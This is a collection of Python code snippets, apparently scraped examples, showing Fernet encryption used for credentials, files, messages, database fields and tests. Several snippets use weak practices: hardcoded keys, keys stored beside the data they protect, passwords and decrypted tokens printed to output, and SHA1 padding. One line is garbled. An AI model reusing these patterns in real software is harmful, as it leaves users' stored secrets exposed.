Example #1
0
def encrypt_creds(dbname, dbuser, dbpass, dbport):
    """
    Encrypt the supplied credential using the keyfile.

    This important function
    :param dbname, dbuser, dbpass, dbport:
    :return encrypted(dbname, dbuser, dbpass, dbport):
    """
    if os.path.exists(keyfile):
        authkey = open(keyfile, "rb").read()
    else:
        print ("Keyfile '{}' does not exist".format(keyfile))
        exit(1)

    from cryptography.fernet import Fernet
    f = Fernet(authkey)

    byte_dbname = str.encode(dbname)
    byte_dbuser = str.encode(dbuser)
    byte_dbpass = str.encode(dbpass)
    byte_dbport = str.encode(dbport)

    encrypted_dbname = (f.encrypt(byte_dbname)).decode()
    encrypted_dbuser = (f.encrypt(byte_dbuser)).decode()
    encrypted_dbpass = (f.encrypt(byte_dbpass)).decode()
    encrypted_dbport = (f.encrypt(byte_dbport)).decode()

    return(encrypted_dbname, encrypted_dbuser, encrypted_dbpass, encrypted_dbport)
Example #2
0
 def encrypt(self, save_content=False):
     if self.encryption_key is None:
         raise Exception('Cannot encrypt content, missing encryption key.')
     if self.config.get('content') is None:
         raise Exception('Cannot encrypt content, content is empty.')
     if self.is_encryptable == False:
         raise Exception('Cannot encrypt, improper configuration.')
     if self.config.get('is_encrypted') == True:
         return self.config.get('content')
     
     f = Fernet(self.encryption_key)
     if self.config.get('is_binary') == True:
         encr_content = f.encrypt(self.config.get('content'))
     elif self.config.get('is_binary') == False:
         encr_content = f.encrypt(self.config.get('content').encode('utf-8')).decode('utf-8')
     else:
         raise Exception('Could not tell if file is binary or text. Aborting.')
     if save_content == True:
         try:
             self.config['content'] = encr_content
             self.config['content_length'] = len(encr_content)
             self.config['is_encrypted'] = True
         except:
             raise
     return encr_content
Example #3
0
    def test_decrypt(self, backend):
        f1 = Fernet(base64.urlsafe_b64encode(b"\x00" * 32), backend=backend)
        f2 = Fernet(base64.urlsafe_b64encode(b"\x01" * 32), backend=backend)
        f = MultiFernet([f1, f2])

        assert f.decrypt(f1.encrypt(b"abc")) == b"abc"
        assert f.decrypt(f2.encrypt(b"abc")) == b"abc"

        with pytest.raises(InvalidToken):
            f.decrypt(b"\x00" * 16)
Example #4
0
def construct_message(plaintext, srcprivkey, destpubkey):
	"""
	Generate shared secret and then use fernet

	Keyword arguments:
	plaintext -- Plaintext string message to build message around
	destpubkey -- Destination EC public key
	srcprivkey -- Source EC private key
	"""
	message = {}
	# Construct cipher text, fernet adds a HMAC automatically
	pt_bytes = bytes(plaintext, 'utf-8')
	# Generate shared secret from public and private key
	key = generate_shared_secret(srcprivkey, destpubkey)
	# Initialization of fernet
	f = Fernet(key)
	# Encrypt the plaintext
	ct_bytes = f.encrypt(pt_bytes)
	# Decode to a string
	ciphertext = ct_bytes.decode('utf-8')
	# The message is a dict, the ciphertext part is filled here
	message["ciphertext"] = ciphertext
	# Generate signature
	sig_bytes = sign_ecdsa(pt_bytes, srcprivkey)
	# Turn the signature into a string
	signature = sig_bytes.decode('utf-8')
	# The signature part of the message is filled here
	message["signature"] = signature
	# Return constructed message
	return message
Example #5
0
def encrypt(data, symmetric_key=None, public_key=None):
    """
    Encrypts data with symmetric key or public key.
    """
    if symmetric_key is not None:
        if public_key is not None:
            raise ValueError(
                "Either a symmetric or a public key is required, not both."
            )
        fernet = Fernet(symmetric_key)
        return fernet.encrypt(data)

    elif public_key is not None:
        public_key_obj = load_pem_public_key(
            data=public_key,
            backend=default_backend()
        )
        return public_key_obj.encrypt(
            data,
            padding.OAEP(
                mgf=padding.MGF1(algorithm=hashes.SHA1()),
                algorithm=hashes.SHA1(),
                label=None
            )
        )
    else:
        raise ValueError("Either a symmetric or a public key is required.")
Example #6
0
def save_oracle_password(password):
    """
    Saves oracle password.
    
    Uses cryptography.fernet to unencrypt password.
    
    """

    key = get_key()
    
    # encrypt password
    f = Fernet(key)
    token = f.encrypt(password.encode('utf-8'))
    
    # write password
    try:
        f2 = open(password_dir+password_file, 'wb')
    except IOError as e:
        if e.strerror == 'No such file or directory':
            print("Could open password file for write")
            sys.exit()
        else:
            raise e
    f2.write(token)
    f2.close()
Example #7
0
def editcams(id):
    camedit = SVSIpCamReg.query.get_or_404(id)
    form = Camedit()
    if form.validate_on_submit():
        camedit.sitename = form.sitename.data
        fkey = Fernet.generate_key()
        f = Fernet(fkey)
        ecamurl = f.encrypt(bytes(form.camurl.data))
        camedit.key = fkey
        camedit.camurl_hash = ecamurl
        camedit.sview = form.sitevis.data
        camedit.FDstore = form.FDStore.data
        db.session.add(camedit)
        flash("Your Camera has been updated")
        return redirect(url_for(".listallcams"))
    form.sitename.data = camedit.sitename
    dkey = camedit.key
    bdkey = bytes(dkey)
    f = Fernet(bdkey)
    bcamurl = bytes(camedit.camurl_hash)
    camurl = f.decrypt(bcamurl)
    form.camurl.data = camurl
    form.sitevis.data = camedit.sview
    form.FDStore.data = str(camedit.FDstore)
    return render_template("cam/editcam.html", form=form)
Example #8
0
def main(argv=sys.argv):
    if len(argv) < 2:
        usage(argv)
    config_uri = argv[1]
    options = parse_vars(argv[2:])
    setup_logging(config_uri)
    settings = get_appsettings(config_uri, options=options)
    engine = engine_from_config(settings, 'sqlalchemy.')
    DBSession.configure(bind=engine)
    Base.metadata.create_all(engine)
    
    # initial encryption passphrase set to ''
    salt = os.urandom(32)

    password = bytes(input("If you would like to set a password, please enter it now. Otherwise, just press enter. > ").encode())
    
    # initial password is the empty string
    enc_key = gen_key_from_salt_and_password(salt, password)
    f = Fernet(enc_key)

    secret_exponent_bytes = os.urandom(32)
    secret_exponent = convert_se_bytes(secret_exponent_bytes)
    address = Key(secret_exponent=secret_exponent, netcode=NET_CODE['bitcoin']).address(use_uncompressed=USE_COMPRESSED)

    with transaction.manager:
        model = KeyStore(name=PRIMARY, encrypted=f.encrypt(secret_exponent_bytes),
                         salt=salt, address=address)
        DBSession.add(model)
Example #9
0
    def _encrypt(*args, **kwargs):
      '''
      encrypt a byte stream
      '''
      routing_key = None
      if 'routing_key' in kwargs:
        routing_key = kwargs['routing_key']

      # To get around the self as the first argument issue
      if len(args) == 1:
        plain_text = args[0]
      else:
        plain_text = args[1]

      f = Fernet(NetworkTool.key())
      cyphertext = f.encrypt(plain_text)

      if len(args) == 1:
        fn(cyphertext)
      else:
        if routing_key is None:
          # args[0] is self
          fn(args[0], cyphertext)
        else:
          fn(args[0], cyphertext, routing_key=routing_key)
Example #10
0
    def editReaction(self, rdb):
        """ This will edit a reaction with the supplied information """
        # Encrypt User Input
        if self.config["CRYPTO_ENABLED"]:
            crypto = Fernet(self.config["CRYPTO_KEY"])
            try:
                self.data = crypto.encrypt(json.dumps(self.data))
            except:
                return False
            self.encrypted = True

        reactdata = {
            "name": self.name,
            "rtype": self.rtype,
            "uid": self.uid,
            "trigger": self.trigger,
            "frequency": self.frequency,
            "lastrun": self.lastrun,
            "data": self.data,
            "encrypted": self.encrypted,
        }
        results = r.table("reactions").get(self.rid).update(reactdata).run(rdb)
        if results["replaced"] == 1:
            qdata = {}
            qdata["item"] = reactdata
            qdata["action"] = "edit"
            qdata["type"] = "reaction"
            qdata["item"]["rid"] = self.rid
            q1 = r.table("dc1queue").insert(qdata).run(rdb)
            q2 = r.table("dc2queue").insert(qdata).run(rdb)
            return "edit true"
        else:
            return "edit failed"
def encrypt(password, plaintext):
    if db:
        print(lineno(), 'salt =', salt, 'type(salt) =', type(salt), 'len(salt) =', len(salt))
    salt_list = list(salt)
    if db:
        print(lineno(), 'salt_list =', salt_list, 'len(salt_list) =', len(salt_list))

    """Key derivation function.
    The iteration count used should be adjusted to be as
    high as your server can tolerate. A good default is
    at least 100,000 iterations which is what Django
    recommends in 2014."""
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=100000,
        backend=default_backend()
        )

    # convert password to bytes
    bytestring_password = bytes(password, 'utf-8')
    # convert plaintext to bytes
    plaintext_bytes = bytes(plaintext, 'utf-8')
    key = base64.urlsafe_b64encode(kdf.derive(bytestring_password))
    f = Fernet(key)
    token = f.encrypt(plaintext_bytes)
    if db:
        print(lineno(), 'token = ', token)
    if db:
        print(lineno(), 'f.decrypt(token)=', f.decrypt(token))
    return token  # ciphertext
Example #12
0
 def editMonitor(self, rdb):
     ''' This will edit a health check with the supplied information '''
     if self.config['CRYPTO_ENABLED'] is True:
         crypto = Fernet(self.config['CRYPTO_KEY'])
         try:
             self.data = crypto.encrypt(json.dumps(self.data))
         except:
             return False
         self.encrypted = True
     mondata = {
         'name': self.name,
         'ctype': self.ctype,
         'uid': self.uid,
         'url': self.url,
         'failcount': 0,
         'status': self.status,
         'data': self.data,
         'encrypted' : self.encrypted
     }
     results = r.table('monitors').get(self.cid).update(mondata).run(rdb)
     if results['replaced'] == 1:
         qdata = {}
         qdata['item'] = mondata
         qdata['action'] = 'edit'
         qdata['type'] = 'monitor'
         qdata['item']['cid'] = self.cid
         for dc in ["dc1queue", "dc2queue"]:
             q1 = r.table(dc).insert(qdata).run(rdb)
         return True
     else:
         return False
Example #13
0
def encrypt_file(file, delete=False):
    """
    Encrypts the file ``file``.

    The encrypted file is saved to the same location with the ``.enc``
    extension.

    If ``delete=True``, the unencrypted file is deleted after encryption.

    Returns the secret key used for the encryption.

    Decrypt the file with :func:`doctr.travis.decrypt_file`.

    """
    key = Fernet.generate_key()
    fer = Fernet(key)

    with open(file, 'rb') as f:
        encrypted_file = fer.encrypt(f.read())

    with open(file + '.enc', 'wb') as f:
        f.write(encrypted_file)

    if delete:
        os.remove(file)

    return key
Example #14
0
 def encrypt(self):
     pickledQueue = pickle.dumps(self.history)
     padLen = config.get("historyfile", "padlength")
     pickledQueue += os.urandom(int(padLen) - len(pickledQueue))
     fern = Fernet(self.token)
     cipher = fern.encrypt(pickledQueue)
     return cipher
Example #15
0
class FernetEngine(EncryptionDecryptionBaseEngine):
    """Provide Fernet encryption and decryption methods."""

    def __init__(self, key):
        super(FernetEngine, self).__init__(key)
        self._initialize_engine(self._engine_key)

    def _update_key(self, new_key):
        parent = EncryptionDecryptionBaseEngine(new_key)
        self._initialize_engine(parent._engine_key)

    def _initialize_engine(self, parent_class_key):
        self.secret_key = base64.urlsafe_b64encode(parent_class_key)
        self.fernet = Fernet(self.secret_key)

    def encrypt(self, value):
        if not isinstance(value, six.string_types):
            value = repr(value)
        if isinstance(value, six.text_type):
            value = str(value)
        value = six.b(value)
        encrypted = self.fernet.encrypt(value)
        return encrypted

    def decrypt(self, value):
        if isinstance(value, six.text_type):
            value = str(value)
        decrypted = self.fernet.decrypt(value)
        if not isinstance(decrypted, six.string_types):
            decrypted = decrypted.decode('utf-8')
        return decrypted
    def encryptedJson(key, msg):
        #encryption_suite = AES.new(key, AES.MODE_CFB, 'This is an IV456')
        #cipher_text = encryption_suite.encrypt("A really secret message. Not for prying eyes.")
        cipher_suite = Fernet(key)
        cipher_text = cipher_suite.encrypt(msg)

        return cipher_text
    def encrypt(self):
        """Will encrypt the file"""
        if self.filename is None:
            raise FileCryptError(u'Must set filename with new_file '
                                 'method call before you can encrypt',
                                 expected=True)

        if not os.path.exists(self.filename):
            raise FileCryptError(u'No file to encrypt.')

        with open(self.filename, u'r') as f:
            plain_data = f.read()
            log.debug(u'Got plain text')

        log.debug(u'Lets start this encryption process.')
        if self.password is None:
            self.password = self._get_password()
        fernet = Fernet(self.password)

        enc_data = fernet.encrypt(plain_data)

        with open(self.enc_filename, u'w') as f:
            f.write(enc_data)
            log.debug(u'Wrote encrypted '
                      'data to {}'.format(self.enc_filename))
        os.remove(self.filename)
        log.debug(u'Removed original file')
        self._del_internal_password()
Example #18
0
class FernetEncryption(object):
    """
    Encrypt data using `Python Fernet <https://cryptography.io/en/latest/fernet/>`_.

    Usage:

    WFRS_SECURITY = {
        'encryptor': 'wellsfargo.security.fernet.FernetEncryption',
        'encryptor_kwargs': {
            'key': b'U3Nyi57e55H2weKVmEPzrGdv18b0bGt3e542rg1J1N8=',
        },
    }

    The given key should be a URL-safe base64-encoded 32-byte encryption key and should obviously
    not be hard-coded in the application.
    """
    def __init__(self, key):
        self.fernet = Fernet(key=key)

    def encrypt(self, value):
        """Accept a string and return binary data"""
        value = force_bytes(value)
        return self.fernet.encrypt(value)

    def decrypt(self, blob):
        """Accept binary data and return a string"""
        blob = force_bytes(blob)
        try:
            value = self.fernet.decrypt(blob)
        except InvalidToken:
            logger.warning('Unable to decrypt account number blob.')
            return None
        return force_text(value)
class CryptKeeper(object):
    sigil_base = 'CK_%s::'
    
    @classmethod
    def generate_key(cls, *args, **kwargs):
        return Fernet.generate_key()

    def __init__(self, *args, **kwargs):
        '''base CryptKeeper class. Supply key=string to provide key,
        or allow CryptKeeper to generate a new key when instantiated 
        without arguments.'''
    
        self.key = kwargs.get('key', None)
        self.sigil = kwargs.get('sigil', self.sigil_base % 'FERNET')
        
        # if proactive==True, create new key and store it.
        # Appropriate Exception will be raised if store() not possible.
        
        self.proactive = kwargs.get('proactive', True)

        if self._key_exists():
            self.key = self.load()
            self.key = self._clean_key(self.key)
            self.crypter = Fernet(self.key)
        elif self.proactive:
            self.key = self._gen_key()
            self.crypter = Fernet(self.key)
            self.store()
        else:
            raise Exception('no key supplied or key location does not exist')

    def _key_exists(self):
        'override for key storage based classes'
        if self.key:
            return True
    
    def _clean_key(self, key):
        'ensures a key free of surrounding whitespace and newlines.'
        return key.strip()

    def _gen_key(self):
        'generates a new Fernet-based encryption key'
        return Fernet.generate_key()
        
    def encrypt(self, inp):
        'takes plaintext string and returns encrypted string'
        return self.crypter.encrypt(inp)
        
    def decrypt(self, inp):
        'takes encrypted string and returns plaintext string' 
        return self.crypter.decrypt(inp)
    
    def store(self):
        'override for key storage based classes'
        pass
        
    def load(self):
        'override for key storage based classes'
        return self.key
    def encrypt(message, secret):
        """
        Message may be a string or bytes.
        Secret key must be 32 url-safe base64-encoded bytes.

        """
        try:
            f = Fernet(secret)
        except ValueError:
            logger.exception(
                "Error creating Fernet unable to encrypt message - is the secret 32 bytes")
            return None
        try:
            token = f.encrypt(message)
        except TypeError:
            token = f.encrypt(message.encode("utf-8"))
        return token
Example #21
0
def encrypt(data, password):
    # derive
    salt = urandom(16)
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=100000,
        backend=backend
    )

    key = base64.urlsafe_b64encode(kdf.derive(password))
    f = Fernet(key)

    epayload = f.encrypt(data)
    hello_token = f.encrypt(b'hello')
    return {'data': epayload, 'hello': hello_token, 'salt': salt}
Example #22
0
 def test_timestamp_ignored_no_ttl(self, monkeypatch, backend):
     f = Fernet(base64.urlsafe_b64encode(b"\x00" * 32), backend=backend)
     pt = b"encrypt me"
     token = f.encrypt(pt)
     ts = "1985-10-26T01:20:01-07:00"
     current_time = calendar.timegm(iso8601.parse_date(ts).utctimetuple())
     monkeypatch.setattr(time, "time", lambda: current_time)
     assert f.decrypt(token, ttl=None) == pt
Example #23
0
def test_cryptography():
  key = b'u3Uc-qAi9iiCv3fkBfRUAKrM1gH8w51-nVU8M8A73Jg='
  f = Fernet(key)
  print(key)
  message = "A really secret message of any length"
  token = f.encrypt(message.encode())
  print()
  print(f.decrypt(token).decode())
Example #24
0
    def test_crypto_round_trip(self):
        clear_text = uuid4().hex.encode('utf8')
        key = genkey()
        fernet = Fernet(key)
        encrypted = fernet.encrypt(clear_text)
        decrypted = fernet.decrypt(encrypted)

        self.assertEquals(clear_text, decrypted)
Example #25
0
def encrypt(pwd):
	if len(pwd) > 100:
		# encrypting > 100 chars will lead to truncation
		frappe.throw(_('Password cannot be more than 100 characters long'))

	cipher_suite = Fernet(encode(get_encryption_key()))
	cipher_text = cstr(cipher_suite.encrypt(encode(pwd)))
	return cipher_text
Example #26
0
def encrypt(message):
    """encrypts the message"""
    try:
        cipher_suite = Fernet(SECRET)
        cipher_text = cipher_suite.encrypt(bytes(message))
    except Exception as ex:
        logger.debug("encrypt: %s", str(ex))
    return cipher_text
Example #27
0
 def test_extract_timestamp(self, monkeypatch, backend):
     f = Fernet(base64.urlsafe_b64encode(b"\x00" * 32), backend=backend)
     current_time = 1526138327
     monkeypatch.setattr(time, "time", lambda: current_time)
     token = f.encrypt(b'encrypt me')
     assert f.extract_timestamp(token) == current_time
     with pytest.raises(InvalidToken):
         f.extract_timestamp(b"nonsensetoken")
Example #28
0
def check_in(document_id, flag):
    if request.method == "POST":
        file = request.files["file"]
        if file:
            blob = file.read()
            uid = request.environ["dn"]
            SQL = ""
            parameters = ()
            if document_id != None:
                if not (
                    is_owner(uid, document_id) or is_effective_owner(uid, document_id) or can_write(uid, document_id)
                ):
                    return "{0} can not check in {1}".format(uid, document_id)
                else:
                    SQL = "UPDATE document SET file = ?, key = ? WHERE id = ?;"
                    key = Fernet.generate_key()
                    f = Fernet(key)
                    blob = f.encrypt(blob)
                    parameters = (sqlite3.Binary(blob), key, document_id)
            else:
                if flag == "confidentiality":
                    confidentiality = True
                    integrity = False
                elif flag == "integrity":
                    integrity = True
                    confidentiality = False
                else:
                    integrity = False
                    confidentiality = False

                document_id = hashlib.sha1(secure_filename(request.environ["dn"] + file.filename)).hexdigest()
                filename = secure_filename(file.filename)
                key = Fernet.generate_key()
                f = Fernet(key)
                blob = f.encrypt(blob)
                SQL = "INSERT INTO document (id, integrity_flag, confidentiality_flag, owner_uid, file_name, file, key) VALUES (?, ?, ?, ?, ?, ?, ?);"
                parameters = (document_id, integrity, confidentiality, uid, filename, sqlite3.Binary(blob), key)

            db = get_db()
            cur = db.cursor()
            cur.execute(SQL, parameters)
            db.commit()
            return "{0}".format(document_id)
        else:
            return "Must submit a file"
Example #29
0
 def change_password(self, old_password, new_password):
     """
     Re-encrypt the token given the current password and a new password.
     """
     token = self.decrypt(old_password)
     fernet = Fernet(crypto.derive_fernet_key(new_password, self.salt))
     self.encrypted = fernet.encrypt(encoding.force_bytes(token))
     self.save()
     return self.encrypted
Example #30
0
 def encrypt(value):
     if key is None:
         return value
     if CRYPTO_FERNET == True:
         f = Fernet(key)
         token = f.encrypt(bytes(value))
     else:
         token = fernet.generate(key, value)
     return token
Example #31
0
 def encrypt(raw):
     key = load_key()
     encoded_message = raw.encode()
     f = Fernet(key)
     encrypted_message = f.encrypt(encoded_message)
     return str(encrypted_message.decode("utf-8"))
Example #32
0
def scrape(tag):

    if (tag == "-f"):
        try:
            with open(account) as f:

                print("File found. Reading...")

                data = json.load(f)
                data_to_write = data

                account_rec = data
                user = account_rec["user"]
                login = account_rec["login"]
                password = account_rec["pass"]
                password = password[2:-1].encode()

                cipher_suite = Fernet(account_rec["key"].encode())

                hasAuth = True

        except FileNotFoundError:
            print("File not found. Continuing...")

    if not hasAuth:

        key = Fernet.generate_key()
        cipher_suite = Fernet(key)

        user = input("What's your twitter username (not display)? ")
        login = input("What's your login? (email/username) ")
        password = getpass("Type in your password. ")
        password = cipher_suite.encrypt(password.encode('utf-8'))

        account_rec = {
            "user": user,
            "login": login,
            "pass": password.decode(),
            "key": key.decode(),
        }

        if input(
                "Do you want me to store your information in a text file? When you run this program again, you can append '-f' to automatically search your account. (y/n) "
        ) == "y":
            try:
                with open(account) as f:

                    print("File found. Writing...")

                    data = json.load(f)
                    data_to_write = data

                    data_to_write = account_rec

            except FileNotFoundError:
                print("File not found. Creating...")
                with open(account, 'w') as f:

                    data_to_write = account_rec

            with open(account, 'w') as outfile:
                json.dump(data_to_write, outfile)
                print("Account info saved! Initiating scrape mode.")

    max_id = input(
        "Type in the maximum number of tweets we'll collect. Otherwise, type n (default: 100). "
    )
    if max_id == "n":
        max_id = DEFAULT_ID

    delay = 1  # time to wait on each page load before reading the page
    driver = webdriver.Firefox(executable_path="geckodriver"
                               )  # options are Chrome() Firefox() Safari()
    driver.implicitly_wait(10)

    twitter_ids_filename = 'all_ids.json'
    tweet_selector = 'article'
    id_selector = "a[href*=status]"

    user = user.lower()
    ids = []
    errors = []

    MAX_IDS = int(max_id)

    likes_url = f"https://twitter.com/{user}/likes"
    url = "https://twitter.com/login"
    driver.get(url)

    user_selector = 'div.css-1dbjc4n:nth-child(6) > label:nth-child(1) > div:nth-child(1) > div:nth-child(2) > div:nth-child(1) > input:nth-child(1)'
    pass_selector = 'div.css-1dbjc4n:nth-child(7) > label:nth-child(1) > div:nth-child(1) > div:nth-child(2) > div:nth-child(1) > input:nth-child(1)'
    error_selector = 'div.css-901oao:nth-child(3) > span:nth-child(1)'
    scrollElementIntoMiddle = "let viewPortHeight = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);" + "var elementTop = arguments[0].getBoundingClientRect().top;" + "window.scrollBy(0, elementTop-(viewPortHeight/2));"

    sleep(delay)

    try:
        print("Logging in..")
        found_user = driver.find_element_by_css_selector(user_selector)
        found_pass = driver.find_element_by_css_selector(pass_selector)

        found_user.send_keys(login)
        sleep(delay)

        print(password)
        password = cipher_suite.decrypt(password)
        password = str(password.decode('utf-8'))
        found_pass.send_keys(password, Keys.ENTER)

        sleep(delay)

        try:

            found_error = driver.find_element_by_css_selector(error_selector)
            print("Found error.")
            found_user = driver.find_element_by_css_selector(user_selector)
            # print(found_user)
            found_pass = driver.find_element_by_css_selector(pass_selector)
            # print(found_pass)

            found_user.send_keys(user)
            found_pass.send_keys(password, Keys.ENTER)

        except NoSuchElementReference:
            print("Successful login!")

        print("Checking profile...")
        sleep(delay)
        driver.get(likes_url)
        sleep(delay)
        found_tweets = driver.find_elements_by_css_selector(tweet_selector)
        increment = 5

        timeout = 0
        isEnd = 0
        MAX_END_TIMEOUT = 10

        while isEnd <= MAX_END_TIMEOUT:

            if len(ids) >= MAX_IDS:
                print("Reached max IDs.")
                break

            print("Looks like there's more. Continuing. . .")

            try:
                while isEnd <= MAX_END_TIMEOUT and len(ids) < MAX_IDS and len(
                        found_tweets) >= increment:
                    print('Loading more tweets, scrolling. . . ')

                    sleep(delay)
                    found_tweets = driver.find_elements_by_css_selector(
                        tweet_selector)

                    numUnique = 0

                    for tweet in found_tweets:

                        try:
                            metadata = tweet.find_element_by_css_selector(
                                id_selector).get_attribute('href').replace(
                                    "https://twitter.com", "")
                            id = tweet.find_element_by_css_selector(
                                id_selector).get_attribute('href').split(
                                    '/')[-1]

                            if id not in ids:

                                print(f"ID: {id}, x-data: {metadata}")
                                ids.append(id)

                                numUnique += 1
                                isEnd = 0

                                if (len(ids) >= MAX_IDS):
                                    break

                        except StaleElementReferenceException as e:
                            print('Lost element reference.', tweet)

                    print('{} total tweets.'.format(len(ids)))

                    driver.execute_script(scrollElementIntoMiddle,
                                          found_tweets[-1])

                    timeout = 0

                    if numUnique == 0:
                        isEnd += 1

                    print("isEnd: " + str(isEnd))

            except NoSuchElementException:
                print('None found.')

                if not len(errors) == 0 and ids[-1] == errors[-1]["id"]:
                    timeout += 1

                print("NonElement Timeout: " + str(timeout))
                if timeout >= 10:
                    break

                errors.append({"id": ids[-1], "num": len(ids)})
                driver.execute_script(scrollElementIntoMiddle,
                                      found_tweets[-1])

    except KeyboardInterrupt:
        print('CTRL+C.')

    try:
        with open(twitter_ids_filename) as f:

            data = json.load(f)
            data_to_write = data

            for i in ids:
                if i not in data:
                    data_to_write.append(i)

            print('Number of IDs: ', len(ids))
            print('Total Count: ', len(data_to_write))

    except FileNotFoundError:
        with open(twitter_ids_filename, 'w') as f:

            data = json.load(f)
            data_to_write = data

            for i in ids:
                if i not in data:
                    data_to_write.append(i)

            print('Number of IDs: ', len(ids))
            print('Total Count: ', len(data_to_write))

    with open(twitter_ids_filename, 'w') as outfile:
        json.dump(data_to_write, outfile)

    print('All done.')
    driver.close()
Example #33
0
def encrypt(arg):
    secret_key = ""
    cipher_suite = Fernet(secret_key)
    return str(cipher_suite.encrypt(bytes(arg, "utf-8")))
def adminRegister():
    try:
        if not validators.length(
                request.get_json()['username'].strip(),
                min=2) or not validators.length(
                    request.get_json()['password'].strip(),
                    min=2) or not validators.length(
                        request.get_json()['fullName'].strip(),
                        min=2) or not validators.length(
                            request.get_json()['flatNo'].strip(),
                            min=2) or not validators.email(request.get_json(
                            )['emailId'].strip()) or not validators.length(
                                request.get_json()['mobile'].strip(), min=2):
            task = {'status': 'All Fields are manditory'}
            res2 = json.dumps(task)
            res1 = json.loads(res2)
            response = make_response(res1, 400)
            response.headers.add('Access-Control-Allow-Origin', '*')
            return response
        if not validators.length(
                request.get_json()['apartmentId'].strip(),
                min=2) or not validators.length(
                    request.get_json()['apartmentName'].strip(),
                    min=2) or not validators.length(
                        request.get_json()['address'].strip(),
                        min=2) or not validators.length(
                            request.get_json()['city'].strip(),
                            min=2) or not validators.length(
                                request.get_json()['state'].strip(), min=2):
            task = {'status': 'All Fields are manditory'}
            res2 = json.dumps(task)
            res1 = json.loads(res2)
            response = make_response(res1, 400)
            response.headers.add('Access-Control-Allow-Origin', '*')
            return response
        today = datetime.now()
        dic = Dbconnection.DBConnection()
        key = Fernet.generate_key()
        f = Fernet(key)
        myquery = {'apartmentId': request.get_json()['apartmentId'].strip()}
        mydoc = dic['admin'].find(myquery)
        print(mydoc.count())
        if mydoc.count() != 0:
            task = {'status': 'Already apartmentId exist'}
            res2 = json.dumps(task)
            res1 = json.loads(res2)
            response = make_response(res1, 404)
            response.headers.add('Access-Control-Allow-Origin', '*')
            return response
        else:
            myAdminJson = [{
                "apartmentId":
                request.get_json()['apartmentId'].strip(),
                "apartmentName":
                request.get_json()['apartmentName'].strip(),
                "address":
                request.get_json()['address'].strip(),
                "city":
                request.get_json()['city'].strip(),
                "state":
                request.get_json()['state'].strip(),
                "createDate":
                str(today.strftime('%Y-%m-%d %H:%M:%S'))
            }]
            x = dic['admin'].insert_many(myAdminJson)
            time.sleep(5)
            myUserJson = [{
                "apartmentId":
                request.get_json()['apartmentId'].strip(),
                "fullName":
                request.get_json()['fullName'].strip(),
                "username":
                request.get_json()['username'].strip(),
                "password":
                f.encrypt(bytes(request.get_json()['password'].strip())),
                "flatNo":
                request.get_json()['flatNo'],
                "emailId":
                request.get_json()['emailId'].strip(),
                "mobile":
                request.get_json()['mobile'].strip(),
                "type":
                "President",
                "key":
                key,
                "createDate":
                str(today.strftime('%Y-%m-%d %H:%M:%S'))
            }]
            x = dic['user'].insert_many(myUserJson)
            task = {'status': 'Success', "message": "Success"}
            res = json.dumps(task)
            res1 = json.loads(res)
            response = make_response(res1, 200)
            response.headers.add('Access-Control-Allow-Origin', '*')
            return response
    except BulkWriteError as e:
        task = {'status': 'Someting went wrong in post data %s' % e}
        abort(404)
        return jsonify(task)
Example #35
0
 def encrypt(self, data):
     f = Fernet(self.get_key(self.key_path))
     encrypted_data = f.encrypt(data)
     return encrypted_data
Example #36
0
    def records_menu(self):
        run = True
        self.getHelpRecords()
        while (run):
            value = input("Enter command : ").split()
            if (value[0] == "back"):
                run = False
                self.database = ""
                self.state = MAIN_MENU
            elif (value[0] == "add"):
                if (len(value) > 3 and not self.isProtected(value[1])):
                    add = True
                    if (value[1] in self.data.json[self.database]):
                        print(
                            "there already exist a record with the same unique_name!"
                        )
                        add = self.confirm()
                    if (add):
                        if (value[3] == "-r" or value[3] == "random"):
                            value[3] = rand_text.randomStringDigits(12)
                        key = Fernet.generate_key()
                        self.data.json[self.database][value[1]] = key.decode()
                        jdata = json.loads("{}")
                        jdata["name"] = value[1]
                        if (value[2] == "-n"):
                            jdata["username"] = value[1]
                        else:
                            jdata["username"] = value[2]
                        jdata["pass"] = value[3]
                        jdata = json.dumps(jdata)
                        fkey = Fernet(key)

                        jdata = fkey.encrypt(jdata.encode())
                        self.kdata.json[value[1]] = jdata.decode()
                        clipboard.copy(value[3])
                        self.kdata.save()
                        self.data.save()
                        print("copied the password to clipboard!")
                else:
                    print("invalid syntax : valid syntax example")
                    print(
                        "add example_unqiue_name example_username/-n example_password/random/-r"
                    )
            elif (value[0] == "load"):
                if (len(value) > 1 and not self.isProtected(value[1])):
                    if (value[1] in self.data.json[self.database]):
                        key = self.data.json[self.database][value[1]].encode()
                        data = self.kdata.json[value[1]]
                        fkey = Fernet(key)
                        data = fkey.decrypt(data.encode())
                        data = json.loads(data.decode())
                        # print(data["pass"])
                        # print(clipboard.paste())
                        if (len(value) > 2 and value[2] == "-n"):
                            clipboard.copy(data["username"])
                            print("copied username to clipboard!")
                            value = input("copy password y/n : ")
                            if (value.lower() == "y"
                                    or value.lower() == "yes"):
                                clipboard.copy(data["pass"])
                                print("copied the password to clipboard!")
                        else:
                            clipboard.copy(data["pass"])
                            print("username : "******"username"])
                            print("copied the password to clipboard!")

                    else:
                        print(value[1], " record doesnt exist!")
                else:
                    print("invalid syntax : valid syntax example")
                    print(
                        "load unqiue_name or load unique_name -n (copy username then password)"
                    )
            elif (value[0] == "clear"):
                import os
                os.system('cls' if os.name == 'nt' else 'clear')
            elif (value[0] == "help"):
                self.getHelpRecords()
            elif (value[0] == "remove" or value[0] == "delete"):
                self.delete(value)
            elif (value[0] == "records"):
                i = 0
                for record in self.data.json[self.database]:
                    if (not self.isProtected(record, False)):
                        i += 1
                        print("(", i, ") : ", record)
Example #37
0
from socket import *
from cryptography.fernet import Fernet
import sys
Alicekey = "1zkOwMr7RRomU_Pka7OCFccOghuToC_zfKgfOKGqKgg="
BobKey = "LJzbk-Uq63uhhcX5m76PtsvFTpqo_O5boM5112cEmG8="
SessionKey = Fernet.generate_key()
cipher_suite = Fernet(Alicekey)
serverPort = 14000
serverSocket = socket(AF_INET,SOCK_STREAM)
serverSocket.bind(('',serverPort))
serverSocket.listen(1)
print 'Who needs a key?'
while 1:
    connectionSocket, addr = serverSocket.accept()
    sentence = connectionSocket.recv(1024)
    if(sentence == "Alice Talking to Bob"):
        connectionSocket.send("Nonce needed")
        Nonce = connectionSocket.recv(1024)
        reply = Nonce + "," + SessionKey + "," + BobKey
        Enc_reply = cipher_suite.encrypt(reply)
